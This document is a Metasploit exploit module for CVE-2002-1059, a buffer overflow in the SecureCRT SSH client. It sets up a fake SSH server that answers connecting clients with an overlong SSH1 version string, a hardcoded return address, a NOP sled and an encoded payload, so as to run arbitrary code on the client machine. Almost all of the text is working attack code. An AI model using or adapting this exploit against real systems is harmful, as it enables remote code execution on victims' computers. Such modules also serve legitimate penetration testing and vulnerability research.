SecureCRT SSH1 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SecureCRT SSH1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in SecureCRT <= 4.0
        Beta 2. By sending a vulnerable client an overly long
        SSH1 protocol identifier string, it is possible to execute
        arbitrary code.

        This module has only been tested on SecureCRT 3.4.4.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2002-1059' ],
          [ 'OSVDB', '4991' ],
          [ 'BID', '5287' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
          'MaxNops'  => 0,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2002-07-23',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
      ])
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    buffer =  "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
    buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded

    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

    client.put(buffer)
    handler

    service.close_client(client)
  end
end